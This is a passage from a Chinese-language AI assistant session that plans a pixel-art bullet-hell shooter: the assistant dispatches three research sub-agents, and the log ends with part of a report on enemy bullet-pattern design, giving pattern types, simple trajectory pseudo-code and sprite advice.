玩家hitbox应该很小(尤其是在高密度弹幕中)\n - 弹幕模式通常基于数学排列\n\n现在我需要更深入地调研几个方面。根据用户的需求,我应该分配子智能体来调研:\n\n1. **经典弹幕射击游戏的武器系统** - 收集知名STG的武器类型、升级系统、射击模式\n2. **敌方弹幕模式设计** - 收集经典弹幕模式、Boss战设计、弹幕排列方式\n3. **像素风格美术设计参考** - 子弹、飞船、特效的像素美术风格\n\n让我先提取一些关键网页获取更详细的信息,然后再决定子智能体的任务分配。\n\n不过考虑到当前是计划模式,我应该先制定调研计划,然后用子智能体去执行调研。\n\n让我创建几个子智能体并行调研:\n- 子智能体1:调研经典弹幕射击游戏的武器系统设计(东方Project、怒首领蜂、雷电等)\n- 子智能体2:调研敌方弹幕模式和Boss战设计\n- 子智能体3:调研像素美术风格参考(子弹、飞船、特效的像素化表现)\n\n但按照sub-agent-guide,我需要先自己浅层搜索,我已经做了。现在我应该创建子智能体。\n\n不过等等,当前是计划模式,子智能体是否可以运行?计划模式说\"只制定计划、与用户讨论方案,不执行任何修改\"。子智能体调研属于信息收集,应该可以执行。但计划模式也提到\"禁止执行任何修改\"。子智能体调研不会修改项目文件,只是生成调研报告,这应该是允许的。\n\n让我创建子智能体任务。", "content": "浅层搜索已完成!我找到了几个非常有价值的方向:\n\n**经典游戏参考:**\n- **东方Project系列** - 最经典的弹幕射击,以华丽复杂的弹幕模式闻名\n- **怒首领蜂(DoDonPachi)** - 弹幕射击的鼻祖\n- **Enter the Gungeon** - 现代像素风弹幕Roguelike代表作\n- **Cryptark** - 太空题材像素横版射击\n\n**关键设计资源:**\n- Reddit r/shmupdev 的「弹幕设计101」\n- npaka 的「15种美丽弹幕模式总结」\n- itch.io 上大量免费像素弹幕素材\n- SLYNYRD 像素艺术博客\n\n现在我来创建 **3个子智能体并行深入调研**,分别聚焦武器系统、弹幕模式和像素美术风格。", "timestamp": "2026-08-23T12:29:46.664134", "message_id": "msg_4a41eef02f6b4967a92cd20dfdfe99ee", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "create_sub_agent_2", "index": 0, "type": "function", "function": {"name": "create_sub_agent", "arguments": "{\"intent\": \"调研STG武器系统设计\", \"agent_id\": 1, \"summary\": \"调研经典弹幕射击游戏武器系统\", \"task\": \"深入调研经典弹幕射击游戏(STG)的武器系统设计,重点关注以下内容:\\n\\n1. **玩家武器类型分类**:\\n - 散弹(Spread Shot)- 如东方Project的幽幽子、雷电系列\\n - 集中射击(Focus Shot)- 高伤害但范围小\\n - 激光/光束武器 - 如怒首领蜂的激光模式\\n - 追踪弹/制导武器\\n - 近战/环绕武器\\n - 蓄力射击(Charge Shot)\\n - 炸弹/清屏技能(Bomb/Spell Card)\\n\\n2. **武器升级系统**:\\n - 道具拾取升级(P道具)\\n - 多级别火力变化\\n - 武器切换机制\\n - 东方Project的Power系统\\n - 怒首领蜂的强化系统\\n\\n3. **像素风格表现**:\\n - 子弹的像素美术设计(大小、形状、颜色)\\n - 射击特效(muzzle flash、尾迹)\\n - 不同武器类型的视觉区分度\\n - 屏幕内大量子弹的辨识度设计\\n\\n4. **搜索关键词建议**:东方Project 武器系统、DoDonPachi weapon system、STG shot types、像素射击游戏武器设计、Touhou shot types comparison\\n\\n请通过网络搜索收集信息,整理成结构化的调研报告,保存到 deliverables_dir 下的 weapon_research.md 文件中。报告需要包含具体游戏例子、武器类型的视觉描述、以及像素风格下的设计建议。\", \"deliverables_dir\": \"research/weapon_system\", \"thinking_mode\": \"fast\", \"run_in_background\": true, \"timeout_seconds\": 900}"}}, {"id": "create_sub_agent_3", "index": 1, "type": "function", "function": {"name": "create_sub_agent", "arguments": "{\"intent\": \"调研敌方弹幕模式设计\", \"agent_id\": 2, \"summary\": \"调研弹幕射击游戏敌方弹幕模式\", \"task\": \"深入调研弹幕射击游戏(STG/Bullet Hell)中敌方的弹幕(bullet pattern)设计,重点关注以下内容:\\n\\n1. **经典弹幕模式分类**:\\n - 环形弹幕(Ring/ Circle burst)- 从中心向四周放射\\n - 螺旋弹幕(Spiral)- 旋转放射\\n - 扇形弹幕(Fan/Wedge)- 扇形区域发射\\n - 直线弹幕(Line/Stream)- 密集直线\\n - 随机散射(Random spread)\\n - 追踪弹幕(Homing/Aimed)- 瞄准玩家\\n - 反弹弹幕(Bounce/Ricochet)\\n - 滞留弹幕(Static/Lingering)- 停留在场地上\\n - 组合弹幕(Compound patterns)- 多种模式组合\\n\\n2. **Boss战弹幕设计**:\\n - 阶段转换(Phase/Spell Card)\\n - 弹幕密度控制\\n - 安全路径设计(Safe zones)\\n - 东方Project的符卡系统(Spell Card)\\n - 时间限制与弹幕压力\\n\\n3. **数学原理与实现**:\\n - 角度、速度、加速度参数\\n - 弹幕排列的数学公式\\n - 速度变化(加速、减速弹幕)\\n - 曲线弹幕(贝塞尔曲线等)\\n\\n4. **像素风格下的弹幕视觉设计**:\\n - 子弹形状:圆形、菱形、星形、箭头、水滴形等\\n - 颜色编码(不同颜色代表不同属性/速度)\\n - 子弹大小与可躲避性的关系\\n - 发光/粒子效果在像素风格中的处理\\n - 弹幕层级的视觉优先级\\n\\n5. **搜索关键词建议**:bullet hell pattern design、东方Project 符卡、danmaku patterns、STG enemy bullet types、pixel art bullet design、bullet hell boss patterns\\n\\n请通过网络搜索收集信息,整理成结构化的调研报告,保存到 deliverables_dir 下的 bullet_pattern_research.md 文件中。报告需要包含每种模式的名称、视觉描述、经典游戏例子、以及像素风格下的设计建议。\", \"deliverables_dir\": \"research/bullet_patterns\", \"thinking_mode\": \"fast\", \"run_in_background\": true, \"timeout_seconds\": 900}"}}, {"id": "create_sub_agent_4", "index": 2, "type": "function", "function": {"name": "create_sub_agent", "arguments": "{\"intent\": \"调研像素美术风格参考\", \"agent_id\": 3, \"summary\": \"调研像素风格弹幕游戏美术设计\", \"task\": \"深入调研像素风格弹幕射击游戏中的美术设计,重点关注以下内容:\\n\\n1. **玩家飞船/角色设计**:\\n - 经典像素STG的自机设计(大小、配色、识别度)\\n - 东方Project系列的角色精灵图风格\\n - 像素飞船的设计要点\\n - 判定框(hitbox)的视觉提示设计\\n\\n2. **敌方单位设计**:\\n - 杂兵(Enemy grunts)的像素设计\\n - Boss的体型与细节层次\\n - 敌方攻击前的视觉预警(如颜色变化、蓄力动画)\\n\\n3. **子弹/弹幕的像素美术**:\\n - 常见像素子弹样式(8x8, 16x16等尺寸)\\n - 子弹颜色与类型的对应关系\\n - 子弹的动画帧设计(旋转、闪烁、脉动)\\n - 大量弹幕同屏时的视觉清晰度处理\\n\\n4. **特效与UI**:\\n - 爆炸特效的像素动画\\n - 拾取道具的视觉效果\\n - 得分/连击的视觉反馈\\n - 血条、Bomb数量等HUD设计\\n\\n5. **参考资源搜索**:\\n - itch.io 上的免费像素弹幕素材\\n - 经典STG的精灵图分析\\n - 像素艺术风格指南(SLYNYRD等博客)\\n - 搜索关键词:pixel art shmup sprites、bullet hell pixel art assets、STG sprite design、东方Project 像素风格、pixel art explosion animation\\n\\n请通过网络搜索收集信息,整理成结构化的调研报告,保存到 deliverables_dir 下的 pixel_art_research.md 文件中。报告需要包含具体的美术参考建议、尺寸规范、颜色建议、以及资源获取途径。\", \"deliverables_dir\": \"research/pixel_art_style\", \"thinking_mode\": \"fast\", \"run_in_background\": true, \"timeout_seconds\": 900}"}}]}, {"role": "tool", "content": "子智能体 #1 已创建(task_id=sub_1_1787459389_fd8265,状态 running,交付目录: /Users/demo/starraid/research/weapon_system)。", "timestamp": "2026-08-23T12:29:50.673495", "message_id": "msg_b0ac29a15e99442fb82c337dd62ab90b", "metadata": {"tool_payload": {"success": true, "task_id": "sub_1_1787459389_fd8265", "agent_id": 1, "status": "running", "message": "子智能体1 已创建,任务ID: sub_1_1787459389_fd8265", "deliverables_dir": "/Users/demo/starraid/research/weapon_system", "run_in_background": true, "display_name": null}}, "tool_call_id": "create_sub_agent_2", "name": "create_sub_agent"}, {"role": "tool", "content": "子智能体 #2 已创建(task_id=sub_2_1787459391_a9b055,状态 running,交付目录: /Users/demo/starraid/research/bullet_patterns)。", "timestamp": "2026-08-23T12:29:52.707902", "message_id": "msg_ebde0433c9db4b8c9a1ebbbfecb7d1c0", "metadata": {"tool_payload": {"success": true, "task_id": "sub_2_1787459391_a9b055", "agent_id": 2, "status": "running", "message": "子智能体2 已创建,任务ID: sub_2_1787459391_a9b055", "deliverables_dir": "/Users/demo/starraid/research/bullet_patterns", "run_in_background": true, "display_name": null}}, "tool_call_id": "create_sub_agent_3", "name": "create_sub_agent"}, {"role": "tool", "content": "子智能体 #3 已创建(task_id=sub_3_1787459393_3da5a5,状态 running,交付目录: /Users/demo/starraid/research/pixel_art_style)。", "timestamp": "2026-08-23T12:29:54.743803", "message_id": "msg_dd2f471b7b26481a817ce7fa6cda4d1e", "metadata": {"tool_payload": {"success": true, "task_id": "sub_3_1787459393_3da5a5", "agent_id": 3, "status": "running", "message": "子智能体3 已创建,任务ID: sub_3_1787459393_3da5a5", "deliverables_dir": "/Users/demo/starraid/research/pixel_art_style", "run_in_background": true, "display_name": null}}, "tool_call_id": "create_sub_agent_4", "name": "create_sub_agent"}, {"role": "assistant", "reasoning_content": "3个子智能体都已经成功创建并在后台运行。根据sub-agent-guide,在后台模式下我应该告诉用户已启动的任务,然后等待系统通知。由于这3个任务都是独立的调研任务,且我目前没有其他工作要做,我应该停止输出等待系统通知。\n\n但首先,让我向用户说明当前状态。", "content": "我已经启动了 **3个子智能体** 在后台并行调研,分别覆盖:\n\n| 子智能体 | 调研方向 | 交付文件 |\n|---------|---------|---------|\n| #1 | **武器系统设计** | `research/weapon_system/weapon_research.md` |\n| #2 | **敌方弹幕模式设计** | `research/bullet_patterns/bullet_pattern_research.md` |\n| #3 | **像素美术风格参考** | `research/pixel_art_style/pixel_art_research.md` |\n\n预计每个调研需要 **10-15分钟**。系统会在每个子智能体完成后自动通知我,届时我会立即整合所有调研结果,为你生成一份完整的**像素风格弹幕射击游戏美术设计参考报告**。\n\n请稍等,完成后我会第一时间汇报!🎮", "timestamp": "2026-08-23T12:30:02.862906", "message_id": "msg_7caf918152cd4540a3eaee7de8c80171", "metadata": {"model_key": "kimi-k2.6"}}, {"role": "user", "content": "[系统通知|sub_agent]\n✅ 子智能体3 任务摘要:调研像素风格弹幕游戏美术设计 已完成。\n\n调用了12次\n阅读了0次文件\n写入了1次文件\n编辑了0次文件\n搜索了0次内容\n查看了17个网页\n运行了2个指令\n\n运行了154秒\n\n已完成像素弹幕游戏美术设计调研。通过 10 余轮网络检索与 4 篇关键原文提取(SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、Touhou hitbox 社区资料、void-dancer 弹幕素材页),产出结构化调研报告 pixel_art_research.md(25KB/258 行)至 /Users/demo/starraid/research/pixel_art_style/。报告覆盖:①自机设计(分辨率基准、滚转动画、东方精灵风格、hitbox 视觉提示方案);②敌方设计(杂兵/Boss 尺寸梯度、蓄力/变色/激光预警机制);③子弹美术(8 色体系、尺寸表、旋转/闪烁/脉动动画、价值分层/描边/深度排序等清晰度规则);④特效与 UI(爆炸动画流程、道具 idle 动画、得分连击反馈、HUD 规范);⑤itch.io/OpenGameArt 免费素材链接清单、教程博客与搜索关键词;⑥可直接执行的美术规范落地建议。报告末尾附信息来源可信度分级说明。\n\n交付目录:/Users/demo/starraid/research/pixel_art_style", "timestamp": "2026-08-23T12:32:29.530273", "message_id": "msg_8f8bac02d7064dee8853ad07e63ed300", "metadata": {"message_source": "sub_agent", "visibility": "compact", "starts_work": false, "is_auto_generated": true, "auto_message_type": "completion_notice", "edit_summary": {"version": 1, "updated_at": "2026-08-23T12:33:39.012859", "files": [{"path": "research/bullet_patterns/bullet_pattern_research.md", "baseline": null, "baseline_truncated": false, "created_at": "2026-08-23T12:33:25.758647", "status": "added", "added": 437, "removed": 0, "lines": [{"type": "add", "content": "# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告", "new_no": 1}, {"type": "add", "content": "", "new_no": 2}, {"type": "add", "content": "> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。", "new_no": 3}, {"type": "add", "content": "> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。", "new_no": 4}, {"type": "add", "content": "> **调研时间**:2026-08-23", "new_no": 5}, {"type": "add", "content": "> **交付目录**:`research/bullet_patterns/`", "new_no": 6}, {"type": "add", "content": "", "new_no": 7}, {"type": "add", "content": "---", "new_no": 8}, {"type": "add", "content": "", "new_no": 9}, {"type": "add", "content": "## 0. 摘要(TL;DR)", "new_no": 10}, {"type": "add", "content": "", "new_no": 11}, {"type": "add", "content": "- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。", "new_no": 12}, {"type": "add", "content": "- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。", "new_no": 13}, {"type": "add", "content": "- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。", "new_no": 14}, {"type": "add", "content": "- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。", "new_no": 15}, {"type": "add", "content": "- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。", "new_no": 16}, {"type": "add", "content": "", "new_no": 17}, {"type": "add", "content": "---", "new_no": 18}, {"type": "add", "content": "", "new_no": 19}, {"type": "add", "content": "## 1. 背景认知:弹幕射击与普通 STG 的区别", "new_no": 20}, {"type": "add", "content": "", "new_no": 21}, {"type": "add", "content": "| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |", "new_no": 22}, {"type": "add", "content": "|---|---|---|", "new_no": 23}, {"type": "add", "content": "| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |", "new_no": 24}, {"type": "add", "content": "| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |", "new_no": 25}, {"type": "add", "content": "| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |", "new_no": 26}, {"type": "add", "content": "| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |", "new_no": 27}, {"type": "add", "content": "| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |", "new_no": 28}, {"type": "add", "content": "", "new_no": 29}, {"type": "add", "content": "关键概念:", "new_no": 30}, {"type": "add", "content": "", "new_no": 31}, {"type": "add", "content": "- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。", "new_no": 32}, {"type": "add", "content": "- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。", "new_no": 33}, {"type": "add", "content": "- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。", "new_no": 34}, {"type": "add", "content": "- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。", "new_no": 35}, {"type": "add", "content": "", "new_no": 36}, {"type": "add", "content": "---", "new_no": 37}, {"type": "add", "content": "", "new_no": 38}, {"type": "add", "content": "## 2. 经典弹幕模式分类", "new_no": 39}, {"type": "add", "content": "", "new_no": 40}, {"type": "add", "content": "> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。", "new_no": 41}, {"type": "add", "content": "> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。", "new_no": 42}, {"type": "add", "content": "> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。", "new_no": 43}, {"type": "add", "content": "", "new_no": 44}, {"type": "add", "content": "### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")", "new_no": 45}, {"type": "add", "content": "", "new_no": 46}, {"type": "add", "content": "- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)", "new_no": 47}, {"type": "add", "content": "- **数学与实现要点**:", "new_no": 48}, {"type": "add", "content": " ```", "new_no": 49}, {"type": "add", "content": " n = 子弹数; base = 基准角", "new_no": 50}, {"type": "add", "content": " for i in 0..n-1:", "new_no": 51}, {"type": "add", "content": " angle = base + i * (360° / n)", "new_no": 52}, {"type": "add", "content": " vx = speed * cos(angle); vy = speed * sin(angle)", "new_no": 53}, {"type": "add", "content": " ```", "new_no": 54}, {"type": "add", "content": " 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)", "new_no": 55}, {"type": "add", "content": "- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。", "new_no": 56}, {"type": "add", "content": "- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。", "new_no": 57}, {"type": "add", "content": "", "new_no": 58}, {"type": "add", "content": "### 2.2 螺旋弹幕(Spiral)", "new_no": 59}, {"type": "add", "content": "", "new_no": 60}, {"type": "add", "content": "- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)", "new_no": 61}, {"type": "add", "content": "- **数学与实现要点**:", "new_no": 62}, {"type": "add", "content": " - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。", "new_no": 63}, {"type": "add", "content": " - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。", "new_no": 64}, {"type": "add", "content": " - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。", "new_no": 65}, {"type": "add", "content": "- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。", "new_no": 66}, {"type": "add", "content": "- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。", "new_no": 67}, {"type": "add", "content": "", "new_no": 68}, {"type": "add", "content": "### 2.3 扇形弹幕(Fan / Wedge)", "new_no": 69}, {"type": "add", "content": "", "new_no": 70}, {"type": "add", "content": "- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)", "new_no": 71}, {"type": "add", "content": "- **数学与实现要点**:", "new_no": 72}, {"type": "add", "content": " ```", "new_no": 73}, {"type": "add", "content": " n = 子弹数; spread = 扇形总张角; aim = 瞄准角", "new_no": 74}, {"type": "add", "content": " step = spread / (n - 1)", "new_no": 75}, {"type": "add", "content": " start = aim - spread / 2", "new_no": 76}, {"type": "add", "content": " for i in 0..n-1:", "new_no": 77}, {"type": "add", "content": " angle = start + i * step", "new_no": 78}, {"type": "add", "content": " ```", "new_no": 79}, {"type": "add", "content": " (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")", "new_no": 80}, {"type": "add", "content": "- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。", "new_no": 81}, {"type": "add", "content": "- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。", "new_no": 82}, {"type": "add", "content": "", "new_no": 83}, {"type": "add", "content": "### 2.4 直线弹幕(Line / Stream / Wall)", "new_no": 84}, {"type": "add", "content": "", "new_no": 85}, {"type": "add", "content": "- **视觉描述**:", "new_no": 86}, {"type": "add", "content": " - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。", "new_no": 87}, {"type": "add", "content": " - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。", "new_no": 88}, {"type": "add", "content": "- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。", "new_no": 89}, {"type": "add", "content": "- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。", "new_no": 90}, {"type": "add", "content": "- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。", "new_no": 91}, {"type": "add", "content": "", "new_no": 92}, {"type": "add", "content": "### 2.5 随机散射(Random Spread)", "new_no": 93}, {"type": "add", "content": "", "new_no": 94}, {"type": "add", "content": "- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)", "new_no": 95}, {"type": "add", "content": "- **数学与实现要点**:", "new_no": 96}, {"type": "add", "content": " - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):", "new_no": 97}, {"type": "add", "content": " ```", "new_no": 98}, {"type": "add", "content": " angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性", "new_no": 99}, {"type": "add", "content": " speed = base_speed + random(-0.2, 0.2) # 微扰", "new_no": 100}, {"type": "add", "content": " ```", "new_no": 101}, {"type": "add", "content": " - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。", "new_no": 102}, {"type": "add", "content": "- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。", "new_no": 103}, {"type": "add", "content": "- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。", "new_no": 104}, {"type": "add", "content": "", "new_no": 105}, {"type": "add", "content": "### 2.6 追踪弹幕(Homing / Aimed)", "new_no": 106}, {"type": "add", "content": "", "new_no": 107}, {"type": "add", "content": "- **视觉描述**:", "new_no": 108}, {"type": "add", "content": " - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。", "new_no": 109}, {"type": "add", "content": " - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。", "new_no": 110}, {"type": "add", "content": "- **数学与实现要点**:", "new_no": 111}, {"type": "add", "content": " ```", "new_no": 112}, {"type": "add", "content": " desired = atan2(player.y - bullet.y, player.x - bullet.x)", "new_no": 113}, {"type": "add", "content": " turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)", "new_no": 114}, {"type": "add", "content": " bullet.angle += turn # 限速转向(turning performance)", "new_no": 115}, {"type": "add", "content": " # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)", "new_no": 116}, {"type": "add", "content": " ```", "new_no": 117}, {"type": "add", "content": "- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。", "new_no": 118}, {"type": "add", "content": "- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。", "new_no": 119}, {"type": "add", "content": "", "new_no": 120}, {"type": "add", "content": "### 2.7 反弹弹幕(Bounce / Ricochet)", "new_no": 121}, {"type": "add", "content": "", "new_no": 122}, {"type": "add", "content": "- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。", "new_no": 123}, {"type": "add", "content": "- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。", "new_no": 124}, {"type": "add", "content": "- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。", "new_no": 125}, {"type": "add", "content": "- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。", "new_no": 126}, {"type": "add", "content": "", "new_no": 127}, {"type": "add", "content": "### 2.8 滞留弹幕(Static / Lingering)", "new_no": 128}, {"type": "add", "content": "", "new_no": 129}, {"type": "add", "content": "- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。", "new_no": 130}, {"type": "add", "content": "- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。", "new_no": 131}, {"type": "add", "content": "- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。", "new_no": 132}, {"type": "add", "content": "- 